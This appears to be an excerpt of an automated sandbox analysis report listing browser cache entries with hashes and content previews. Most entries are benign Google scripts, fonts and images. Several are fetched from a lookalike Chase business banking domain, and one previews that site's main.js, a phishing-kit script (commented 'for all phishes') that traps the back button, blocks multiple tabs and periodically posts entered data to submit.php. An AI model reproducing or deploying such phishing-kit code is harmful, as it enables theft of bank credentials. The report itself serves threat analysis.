SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 145

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 146

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	dropped
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 147

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 148

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4245)
Category:	dropped
Size (bytes):	121769
Entropy (8bit):	5.4739773711708555
Encrypted:	false
SSDEEP:	1536:OYIcfKtW4VB4DUhcC8vnhKtntTCnXAmhdozsCb0YJr35ecMNiycRAD/lsJTD5qzR:dIyKGRKR6Q2XXYJrJTD5qWT88I
MD5:	A30AD4B824EABD49827717DA4DD32163
SHA1:	BE003CDBFD22A27CF8C7B5CD12267E1DDAC23120
SHA-256:	4BB8D199FC83D95CF64D3ECE1F6A53F27535B0F335471ED675C03B729A7BBF86
SHA-512:	A9A4A1C8E94C875E2E7BA5A9BE929B59568127F21ABB921EF2721BD84E6329EE50D7B2B19AA7394F961926B64627A0B3ED4044EDDAA93E4A77F6E8A26A185E12
Malicious:	false
Reputation:	low
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 149

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	dropped
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 150

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:WZoSISHmn:WZoSfmn
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 151

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.358694969562841
Encrypted:	false
SSDEEP:	3:mSSSFJEojqCYn:mSSSFJrjc
MD5:	0BD55FBFB42BA1F09E4D36BE6B6BEFB6
SHA1:	BDCF4B978A9DB21DA23ED5A85129104B695C867A
SHA-256:	663B3D923025AFE55587A6D7E4C1E31B277F82CDFA78A7442D71DF473CE04891
SHA-512:	FDDD75C9581E21893132C34E7F5700B3EE7F07C551F79256D0DE6263A3840FD32D7D2F894F7E415664167538F0ECE2214E0E1901F515350CB617F32DDAD9B924
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgm-JfcTNaY6sRIFDW6kuv0SBQ1ollq8EgUNJZ5Ztg==?alt=proto
Preview:	ChsKBw1upLr9GgAKBw1ollq8GgAKBw0lnlm2GgA=

Chrome Cache Entry: 152

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1409
Entropy (8bit):	4.793286482068979
Encrypted:	false
SSDEEP:	24:t41qCEDrCOBdD0C54boC2h9jsVCEak9LOf6pjeTaKElXo76sC+w5xI77cjfaLVCF:CyDP3na/acOf6pCTaKyXopWxO76aLaK0
MD5:	B55B042F907BC7108F5DCA2103A8476B
SHA1:	9FCDCC86BFE1F3C7D4F774775670FBD08FE7556C
SHA-256:	D3BF9C143E5E360DA41736B1D4E833B5AC6B6F7093DDC91FFC538233A78488D0
SHA-512:	45AA66ABB6C075A1B3F5C76C1273EA21E7855B99031D46BFBCD7B8882F58E9F5612B556E218B41C902ADA7FE0F77ED9F3849E8E675BBDDDB21AE5397624B2C7C
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/wordmark-white.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2">...<path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/>...<path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>...<path fill="#FFFFFF" d="M331.1,71.2h22.5c1.4,0,2.5-1.1,2.5-2.5V51.3h-45.9L331.1,71.2z"/>...<path fill="#FFFFFF" d="M328.4,48.6V2.7l-19.9,20.9v22.5c0,1.4,1.1,2.5,2.5,2.5H328.4z"/>...<polygon fill="#FFFFFF" points="282.4,53.4 252,53.4 252,39.9 281.4,39.9 281.4,30.8 252,30.8 252,18.6 282.4,18.6 288.2,9.4 241.2,9.4 241.2,62.8 288.4,62.8 "/>...<path fill="#FFFFFF" d="M217.3,30.5h-21.4c-2.4,0-4-0.6-4-4.2c0,0,0-3.7,0-3.7c0-3,1.1-4.1,3.9-4.1l28,0l5.9-9.2l-35.7,0....c-6.5,0-13.1,3.9-13.1,13.9v2.6c0,10.4,6.4,14.4,12.7,14.4H216c2.3,0,4.2,0.4,4.2,4.3l0,4.5c-0.1,3.5-1.8,4.3-4.3,4.3h-29.4....l-6,9.4h36.2c8.7,0,14.7-4.3,14.7-14.4v-3.7C231.3,35.1,225.8,30.5,217.3,30.5z"/>...<path fill="#FFFFFF" d="M150.8,9.4l25.4,53.4h-12l-4.9-11h-27.6l-4.9,11h-12l25

Chrome Cache Entry: 153

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:	12:UJO694211FfgsO6ZRoT6pWiIKhhxkmgs6ZmOHc9n+5cMK00k14enEPCedG:G9JFfbOYssNVkmbYmOOk4TfenEPCD
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 154

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (58713), with CRLF line terminators
Category:	downloaded
Size (bytes):	158694
Entropy (8bit):	5.787343974303209
Encrypted:	false
SSDEEP:	1536:U3p5C5G97qsO6k/InlvCUxZsSLsR1pSYEuazG4+9UrlP8KthdqHkYv9uvo/LV9uC:1shlvCUjbLswYEuawurRtV5Gv
MD5:	2717972C1A396D445ABC811E65E6B5C0
SHA1:	9FB7755885037D7420A28595FACC20EA4202544F
SHA-256:	149D3C200D0C0B77CFB9A94BB7AA77F41B09351F758FBEB317EBD887EB70BD6D
SHA-512:	CA0116E9BF5B16F9E8BA6FF4D084BEC28952B2E745F00659EE40BF098FE5584BE43B6AFEAC65B2066B614E5915BAEFFA643625F675FAA432B516ED9EA6577035
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/secure/
Preview:	<!DOCTYPE HTML>..<html lang="en">.. <head>.. <title>Checking your browser...</title>.. <meta charset="UTF-8">.. <meta name="viewport".. content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">.. <meta http-equiv="X-UA-Compatible" content="ie=edge">.. <style>a,label,span,svg{display:block;width:100%}.container,body,html,svg{height:100%},::after,::before{box-sizing:border-box;-webkit-tap-highlight-color:transparent}blockquote,body,dd,dl,figure,h1,h2,h3,h4,p{margin:0}ol[role=list],ul[role=list]{list-style:none}html:focus-within{scroll-behavior:smooth}body{text-rendering:optimizeSpeed;font-size:16px;background-color:#fff}iframe{position:absolute;top:-200vh}a,label,span{font-family:Arial,sans-serif;max-width:max-content;color:#000}svg{overflow:visible}a:not([class]){text-decoration-skip-ink:auto}@media (prefers-reduced-motion:reduce){html:focus-within{scroll-behavior:auto},::after,::before{a

Chrome Cache Entry: 155

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1170)
Category:	dropped
Size (bytes):	209242
Entropy (8bit):	5.525486724811298
Encrypted:	false
SSDEEP:	6144:y2vAXZ8wuXFb5CcdsvyvTmfi7OxDP1Bm5G:pAXiwib5Ccdky57S
MD5:	2D5977E5451D9CB3C5F83DAC50A2F8EF
SHA1:	B91600576EA9602E509B691B8C8DCA92680467B6
SHA-256:	34E479671BA6D41D87BD292162ECBA4E51A1897E4CB112C4C9DE054EF8930FFA
SHA-512:	51B14B36E0C442C56A9C0CC7B28FEBF3765DD15BE80B5B339A1AC7B8427D5EBFDBFA337DFC55AA40A8A985E7B1286C4D2D519B2AAA728AD8289BEA76BADA1866
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_1(function(_){var window=this;._.Bg=(window.gapi\|\|{}).load;._.Tn=_.Be(_.Me,"rw",_.Ce());.var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Tn[a];Vn(a)}};_.Wn=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Xn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Un(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Me.oa&&(k=d.id)){f=(f=_.Tn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Vn(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 156

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	86929
Entropy (8bit):	5.289492706499139
Encrypted:	false
SSDEEP:	1536:aLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6ta:+kn6x2xe9NK6nC6E
MD5:	378087A64E1394FC51F300BB9C11878C
SHA1:	0C3192B500A4FD550E483CF77A49806A5872185B
SHA-256:	4FE68FA216176E6D1F4580E924BAFECC9F519984ECC06B1A840A08B0D88C95DE
SHA-512:	9A2C70516EA0C8C37C7F072F214DE0AFD5DDEB643C6B5D3FA8ADE3EF8D2CE40BDF8B1B1194BAD296E9075562701EE7DAE48B18144B1CD2D735328BE5A3ACCBE6
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)}

Chrome Cache Entry: 157

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	273703
Entropy (8bit):	7.972604775437503
Encrypted:	false
SSDEEP:	6144:7t3lojDmWSmJPMxANe5VFNbalPDGlSqeYVKH3R0MeNHX2jBG5:7tVojQCPwUe3Ts7mSqeRSNHGlG5
MD5:	03F5C8F677084A68E156168BD0B9BE4A
SHA1:	96C30B767D2729C6473F74067FF23634F1F00099
SHA-256:	35B3566CE2EDC9F9985D59D62EB26FE3DA2E2C55C2E3DA19CF1E385EE4F81B76
SHA-512:	984A95D33B187708A695741DA509D41D220081421BBD9D41EF41222BBDE925199F119935157317D2664A53E9258782C37607CCC2B090055FF9A72D053CDECED7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....e....3E%..h.%%..h......(.Rf...'4..P.f...S.2h..b...2i1J(.....%% ..4....vh.h4RP.E...f...I..vM!&.4f...sFh.0.(......n.dP!..!...3..(=)r=i2.z.e'5&.i.(...\.E!.!sFi....p....Q..u/zL...(...r(...m;.Q@..I.....F*C....)x...JA...f....v.S.Gj..d.NiE.....(..)i6.Q.Z..c.Z)..{QN...i..;..?..L.6.Z6.!h...4.R...(.b.K.zL..;Q.3Fh.c.1Fh.v..(.V.:QG...........Fh.;.Fh.@....IN.0.Lu...#+H

Chrome Cache Entry: 158

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 159

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (545)
Category:	downloaded
Size (bytes):	2284506
Entropy (8bit):	5.656707821328836
Encrypted:	false
SSDEEP:	24576:oYkFyC9qpO1CrZsYqMScg7AZYszWOqdf+:oYuyCT1CrKYqMSclZYsKdm
MD5:	9E0542C55A1732A45A424885BE756154
SHA1:	D76FDC120E7EB6778298DFB666906C956B4F13E0
SHA-256:	3AD57C0FF005359BA10CF6129D9FA94BEA9E57A8CD9E04E07C13FC747111FAC8
SHA-512:	A146D8A3E3DF654112D0BFD2A2DFDE5D5ABDC279D24B3D8ED70DE6B9EB7D772D79C9A91C2DC559133B613815AD8903DD7546B0B2F17243D20DE8C2A1EA52412B
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=1/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x1830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 160

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569), with CRLF line terminators
Category:	downloaded
Size (bytes):	22085
Entropy (8bit):	5.313702298219503
Encrypted:	false
SSDEEP:	384:20Rmn3yZ8HKsQk2SkHjbj8Dc3+3oxoF3rq3d2+q4K3r+plS9p0+EgmsvwzDPj7:2oY0SkDbj8Dck97msvwzDL7
MD5:	2FB611835E208FA0D32BB653C10412BF
SHA1:	B6ED5C1CA264260C7944744CCF1EC9147317F5EE
SHA-256:	05C4C6F035CC8256EDA144EE93F8A6492AD537D6C49D0F7D541FD38B1B180221
SHA-512:	146D24A895A60A2EEF429724BFB951C30794C527BF099901C92DE3D6836C8869D0F82615D5F85FC0BBC430781117B63790C44D5F5BF957CC12C93EE41F11AE44
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/js/main.js
Preview:	//START system functions for all phishes..window.session = makeid(5);..localStorage.setItem("session", window.session);..var onStorage = function (e) {...if (e.key === 'session' && e.newValue !== window.session)....localStorage.setItem("multitab", window.session);...if (e.key === "multitab" && e.newValue && e.newValue !== window.session) {....window.removeEventListener("storage", onStorage);....localStorage.setItem("session", localStorage.getItem("multitab"));....localStorage.removeItem("multitab");....document.body.innerHTML = 'The current page is already open in another tab. Please follow there!';...}..};..window.addEventListener('storage', onStorage);....history.pushState(null, document.title, location.href);..window.addEventListener('popstate', function (event){...history.pushState(null, document.title, location.href);..});....document.addEventListener('DOMContentLoaded', function() {...let TimeStep = 5000,...url = 'submit.php';.......function Update(){....var uid=($('#uid').length

